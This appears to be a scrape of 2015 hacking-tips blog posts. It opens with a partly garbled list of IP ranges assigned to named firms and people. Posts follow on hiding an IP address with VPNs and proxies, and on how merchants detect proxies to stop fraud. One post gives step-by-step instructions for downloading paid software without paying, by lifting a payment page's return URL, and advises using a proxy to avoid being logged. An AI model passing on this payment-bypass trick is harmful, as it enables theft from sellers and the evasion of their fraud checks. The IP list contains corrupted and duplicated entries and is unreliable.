207.60.66.80 - 207.60.66.95 Finley Properties
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies
207.60.66.128 - 207.60.66.143 Textnology Corp
207.60.66.144 - 207.60.66.159 Groton Neochem LLC
207.60.66.160 - 207.60.66.175 Tab Computers
207.60.66.176 - 207.60.66.191 Patrons Insurance
207.60.66.192 - 207.60.66.207 Chair City Web
207.60.66.208 - 207.60.66.223 Radex, Inc.
207.60.66.224 - 207.60.66.239 Robert Austein
207.60.66.240 - 207.60.66.255 Hologic Inc.
207.60.71.64 - 207.60.71.127 K-Tech International Inc.
207.60.71.128 - 207.60.71.191 Pan Communications
207.60.71.192 - 207.60.71.255 New England College of Finance
207.60.75.128 - 207.60.75.255 Absolve Technology
207.60.78.0 - 207.60.78.127 Extech
207.60.78.128 - 207.60.78.255 The Insight Group
207.60.83.0 - 207.60.83.255 JLM Technologies
207.60.84.0 - 207.60.84.255 Strategic Solutions
207.60.94.0 - 207.60.94.15 McWorks
207.60.94.32 - 207.60.94.47 Rooney RealEstate
207.60.94.48 - 207.60.94.63 Joseph Limo Service
207.60.94.64 - 207.60.94.79 The Portico Group
207.60.94.80 - 207.60.94.95 Event Travel Management Inc
207.60.94.96 - 207.60.94.111 Intellitech International
207.60.94.128 - 207.60.94.143 Orion Partners
207.60.94.144 - 207.60.94.159 Rainbow Software Solution
207.60.94.160 - 207.60.94.175 Grason Stadler Inc
207.60.94.192 - 207.60.94.207 Donnegan System
207.60.95.1 - 207.60.95.255 The Iprax Corp
207.60.102.0 - 207.60.102.63 Coporate IT
207.60.102.64 - 207.60.102.127 Putnam Technologies
207.60.102.128 - 207.60.102.191 Sycamore Networks
207.60.102.192 - 207.60.102.255 Bostek
2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates
207.60.104.128 - 207.60.104.191 Hanson Data Systems
207.60.106.128 - 207.60.106.255 Giganet Inc.
207.60.107.0 - 207.60.107.255 Roll Systems
207.60.108.8 - 207.60.108.15 InternetQA
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank
207.60.111.32 - 207.60.111.63 Edco collaborative
207.60.111.64 - 207.60.111.95 DTC Communications Inc
207.60.111.96 - 207.60.111.127 Mike Line
207.60.111.128 - 207.60.111.159 The Steppingstone Foundation
207.60.111.160 - 207.60.111.191 Caton Connector
207.60.111.192 - 207.60.111.223 Refron
207.60.111.224 - 207.60.111.255 Dolabany Comm Group
207.60.112.0 - 207.60.112.255 The CCS Companies
207.60.116.0 - 207.60.116.255 Continental PET Technologies
207.60.122.16 - 207.60.122.23 Corey & Company Designers Inc
207.60.122.24 - 207.60.122.31 SAIC
207.60.122.32 - 207.60.122.39 Netserve Entertainment Group
207.60.122.40 - 207.60.122.47 Avici Systems Inc
207.60.122.48 - 207.60.122.55 Webrdwne
207.60.122.56 - 207.60.122.63 Reality and Wonder
207.60.122.64 - 207.60.122.71 Nishan Desilva
207.60.122.72 - 207.60.122.79 NemaSoft Inc
207.60.122.80 - 207.60.122.87 Patrick Murphy
207.60.122.88 - 207.60.122.95 Corey and Company
207.60.122.96 - 207.60.122.103 Ames Textile Corp
207.60.122.104 - 207.60.122.111 Publicom
207.60.127.0 - Northstar Technologies
207.60.128.0 - 207.60.128.255 Northstar Technologies
207.60.129.0 - 207.60.129.255 Sanga Corp
207.60.129.64 - 207.60.129.127 Fired Up Network
207.60.129.128 - 207.60.129.191 Integrated Data Solutions
207.60.129.192 - 207.60.129.255 Metanext
207.61.* WorldLinx Telecommunications, Inc., Canada
207.120.* BBN Planet, MA

RANGE 208
208.240.xxx.xxx

RANGE 209
209.35.* Interland, Inc., GA

RANGE 212
212.56.107.22
212.143 ***
212.149.***
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.0.2
212.159.1.1
212.159.1.4
212.159.1.5
212.159.33.56
212.159.40.211
212.159.41.173
212.179.***
212.208.0.12.***

RANGE 213
213.8.***.***

RANGE 216
216.25.*

216.94.***.***

216.247.*

216.248.*.*

RANGE 217
217.6.*

How to hide IP address

2015-07-16T15:04:00.000+05:30

Every computer on the Internet has a unique IP address allotted to it which makes it possible to trace it back to its exact location. Even though the concept of IP address has been designed for its transparency and traceability, in some cases this questions the privacy of the Internet users where one would not like to reveal his/her identity to the outside world.

Well, if you are one such person who is in search of ways to hide your IP address, then you are at the right place. In this post, I will discuss some of the easy and popular ways to mask your IP address so that your identity and privacy is kept safe.

Why Hide IP Address?

The following are some of the common reasons why people want to mask their IP address online:

1. By hiding the IP address, people can browse websites anonymously without leaving the trace of their identity.

2. To access websites and portals that are not available to the IP address’s Geo location.

3. Stay safe from intruders and hackers by showing a fake IP to the world.

4. Hiding IP means hiding geographical location.

5. Hiding IP prevents leaving a digital footprint of their online activity.

How to Hide Your IP?

Some of the most common ways to hide IP and safeguard your online identity are discussed below:

1. Using a VPN Proxy – The Safe and Secure Way to Hide Your IP

Using a trusted VPN service is the best way to conceal your IP address during your online activities. Here is a list of most popular and highly reliable VPN services that you can go for:

· Hide My Ass VPN – Hide My Ass is one of the most popular and trusted VPN service that allows people to easily conceal their IP address and protect their online privacy.

· VyprVPN – VyprVPN offers the world’s fastest VPN services to make it possible for its clients easily conceal their real IP and supports wide range of operating systems including Windows, Mac, Android and iOS.

The following are some of the advantages of using a VPN service over any other method of concealing your IP address:

1. In addition to hiding your IP, a VPN service encrypts all your web traffic to keep you safe from hackers and intruders.

2. Unlike other IP hiding methods (discussed in the latter part of this article) which affects your speed of browsing, a VPN service keeps your Internet speed fast without affecting its performance.

3. You have a long list of countries and states to select your IP address from as your place of origin. For example, if you are originally from United Kingdom, you may choose an IP address that belong to United States so that the websites that you visit will see you as from US and not UK.

4. By selecting an IP address of your choice, you can easily bypass location blocks and even access restricted websites that are not available for your country.

2. Website Based Proxy Servers

This is another popular way to quickly mask IP address on the Internet. Since it is a web based service, users need not have to install any piece of software program on their computer. The following are some of the popular websites that offer free services to obscure your IP address:

· www.hidemyass.com

· www.newipnow.com

· anonymouse.org

The downside of using these free services to mask your IP address is that most of them become overloaded and are too slow to use. In addition, some of them will not offer a secured connection (SSL) and you will often be presented with annoying ads and pop-ups during the course of your browsing.

3. Browser Configured Proxy Servers

There are hundreds of freely available open proxies that can be found on the Internet. You can obtain the IP address of one of those freely available proxy servers and configure your browser to start hiding your original IP address. However, as they are openly available to public, most of them are either dead or perform too slow under normal conditions.

Download From A Paypal Site Without Paying A Penny

2015-07-16T14:58:00.002+05:30

Just a little basic HTML tip for those who are trying to download an application from sites which has an paypal order page.
Use a proxy when you try to hide your ip as some sites will record your ip when you connect for security.

Right click your mouse view source and open the source of the site in a text editor
Search for the word "return"
Next to it you can find the url for the Thank You page
Copy the url and paste it in your browser and you will see the download link,

Note:- This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

How to Detect a Web Proxy

2015-07-16T14:40:00.001+05:30

Using a web proxy (Anonymous IP) is the simplest and easiest way to conceal the real IP address of an Internet user and maintain the online privacy. However, proxies are more widely used by online fraudsters to hide their actual geolocation such as a city/country through a spoofed IP address.

As the fraudsters are now becoming more sophisticated in bypassing the geolocation controls by using a proxy server, it has become very much necessary to come up with a means for detecting web proxies, so that the authenticity of the users can be verified. Following are some of the examples where the fraudsters use a web proxy to hide their actual IP address:

· Credit Card Frauds

For example, say a Nigerian fraudster tries to purchase goods online with a stolen credit card for which the billing address is associated with New York. Most credit card merchants use geolocation to block orders from countries like Nigeria and other high risk countries.

So, in order to bypass this restriction, the credit card fraudster uses a proxy to spoof his IP address so that, it appears to have come from New York. The IP address location appears to be a legitimate one as it belongs to the the same city as that of the billing address. In this case, a proxy check would be needed to flag this order.

· Bypass Website Country Restrictions

Some website services are restricted to users form only a selected list of countries. For example, a paid survey may be restricted only to countries like United States and Canada. So, a user from say China may use a proxy so as to make his IP appear to have come from United States so that he/she can earn from participating in the paid survey.

Proxy Detection Services:

In order to stop such online frauds, Proxy Detection has become a critical component. Today, most of the companies, credit card merchants and websites that deal with e-commerce transactions make use of Proxy Detection Services like MaxMind and FraudLabs to detect the usage of proxy or spoofed IP from users participating online.

Proxy Detection web services allow instant detection of anonymous IP addresses. Even though the use of proxy address by users is not a direct indication of fraudulent behaviour, it can often indicate the intention of the user to hide his or her real IP. In fact, some of the most used ISPs like AOL and MSN are forms of proxies and are used by both good and bad consumers.

How Proxy Detection Works?

Proxy detection services often rely on IP addresses to determine whether or not the IP is a proxy. Merchants can obtain the IP address of the users from the HTTP header on the order that comes into their website. This IP address is sent to the proxy detecting service in real time to confirm its authenticity.

The proxy detection services on the other hand compare this IP against a known list of flagged IPs that belong to proxy services. If the IP is not on the list then it is authenticated and the confirmation is sent back to the merchant. Otherwise it is reported to be a suspected proxy. These proxy detection services work continuously to grab a list or range of IPs that are commonly used for proxy services. With this, it would be possible to tell whether or not a given IP address is a proxy or spoofed IP.

How to Check whether a given IP is Real or a Proxy?

There are a few free sites that help you determine whether or not a given IP is hiding behind a proxy. You can use free services like WhatisMyIPAddress to detect IP addresses that are hiding behind a proxy. Just enter the suspected IP in the field and click on “Lookup IP Address” button to check the IP address. If it is a suspected proxy then you will see the results something as follows.